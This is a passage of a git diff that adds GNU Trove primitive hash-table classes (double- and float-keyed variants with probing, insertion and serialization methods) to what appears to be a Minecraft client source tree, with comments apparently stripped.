+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeDouble(no_entry_key);
+    
+
+    out.writeInt(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readDouble();
+    
+
+    no_entry_value = in.readInt();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TDoubleLongHash.java b/src/minecraft/gnu/trove/impl/hash/TDoubleLongHash.java
new file mode 100644
index 0000000..4c929fd
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TDoubleLongHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TDoubleProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TDoubleLongHash
+  extends TPrimitiveHash
+{
+  public transient double[] _set;
+  protected double no_entry_key;
+  protected long no_entry_value;
+  
+  public TDoubleLongHash()
+  {
+    no_entry_key = 0.0D;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleLongHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0.0D;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleLongHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0.0D;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TDoubleLongHash(int initialCapacity, float loadFactor, double no_entry_key, long no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(double val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(double key)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(double key)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeDouble(no_entry_key);
+    
+
+    out.writeLong(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readDouble();
+    
+
+    no_entry_value = in.readLong();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TDoubleShortHash.java b/src/minecraft/gnu/trove/impl/hash/TDoubleShortHash.java
new file mode 100644
index 0000000..4ebcf8f
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TDoubleShortHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TDoubleProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TDoubleShortHash
+  extends TPrimitiveHash
+{
+  public transient double[] _set;
+  protected double no_entry_key;
+  protected short no_entry_value;
+  
+  public TDoubleShortHash()
+  {
+    no_entry_key = 0.0D;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleShortHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0.0D;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleShortHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0.0D;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TDoubleShortHash(int initialCapacity, float loadFactor, double no_entry_key, short no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(double val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(double key)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(double key)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeDouble(no_entry_key);
+    
+
+    out.writeShort(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readDouble();
+    
+
+    no_entry_value = in.readShort();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TFloatByteHash.java b/src/minecraft/gnu/trove/impl/hash/TFloatByteHash.java
new file mode 100644
index 0000000..df9b703
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TFloatByteHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TFloatProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TFloatByteHash
+  extends TPrimitiveHash
+{
+  public transient float[] _set;
+  protected float no_entry_key;
+  protected byte no_entry_value;
+  
+  public TFloatByteHash()
+  {
+    no_entry_key = 0.0F;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TFloatByteHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0.0F;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatByteHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0.0F;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TFloatByteHash(int initialCapacity, float loadFactor, float no_entry_key, byte no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(float val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(float key)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(float key)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeFloat(no_entry_key);
+    
+
+    out.writeByte(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readFloat();
+    
+
+    no_entry_value = in.readByte();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TFloatCharHash.java b/src/minecraft/gnu/trove/impl/hash/TFloatCharHash.java
new file mode 100644
index 0000000..c18230a
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TFloatCharHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TFloatProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TFloatCharHash
+  extends TPrimitiveHash
+{
+  public transient float[] _set;
+  protected float no_entry_key;
+  protected char no_entry_value;
+  
+  public TFloatCharHash()
+  {
+    no_entry_key = 0.0F;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+  public TFloatCharHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0.0F;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatCharHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0.0F;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TFloatCharHash(int initialCapacity, float loadFactor, float no_entry_key, char no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(float val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(float key)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(float key)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeFloat(no_entry_key);
+    
+
+    out.writeChar(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readFloat();
+    
+
+    no_entry_value = in.readChar();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TFloatDoubleHash.java b/src/minecraft/gnu/trove/impl/hash/TFloatDoubleHash.java
new file mode 100644
index 0000000..93c5689
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TFloatDoubleHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TFloatProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TFloatDoubleHash
+  extends TPrimitiveHash
+{
+  public transient float[] _set;
+  protected float no_entry_key;
+  protected double no_entry_value;
+  
+  public TFloatDoubleHash()
+  {
+    no_entry_key = 0.0F;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+  public TFloatDoubleHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0.0F;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatDoubleHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0.0F;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TFloatDoubleHash(int initialCapacity, float loadFactor, float no_entry_key, double no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(float val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(float key)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(float key)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeFloat(no_entry_key);
+    
+
+    out.writeDouble(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readFloat();
+    
+
+    no_entry_value = in.readDouble();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TFloatFloatHash.java b/src/minecraft/gnu/trove/impl/hash/TFloatFloatHash.java
new file mode 100644
index 0000000..4eb275b
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TFloatFloatHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TFloatProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TFloatFloatHash
+  extends TPrimitiveHash
+{
+  public transient float[] _set;
+  protected float no_entry_key;
+  protected float no_entry_value;
+  
+  public TFloatFloatHash()
+  {
+    no_entry_key = 0.0F;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+  public TFloatFloatHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0.0F;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatFloatHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0.0F;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TFloatFloatHash(int initialCapacity, float loadFactor, float no_entry_key, float no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(float val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(float key)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(float key)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeFloat(no_entry_key);
+    
+
+    out.writeFloat(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readFloat();
+    
+
+    no_entry_value = in.readFloat();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TFloatHash.java b/src/minecraft/gnu/trove/impl/hash/TFloatHash.java
new file mode 100644
index 0000000..3f9f173
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TFloatHash.java
@@ -0,0 +1,292 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.Constants;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TFloatProcedure;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TFloatHash
+  extends TPrimitiveHash
+{
+  public transient float[] _set;
+  protected float no_entry_value;
+  
+  public TFloatHash()
+  {
+    no_entry_value = Constants.DEFAULT_FLOAT_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0.0F) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public TFloatHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_value = Constants.DEFAULT_FLOAT_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0.0F) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatHash(int initialCapacity, float loadFactor)
+  {
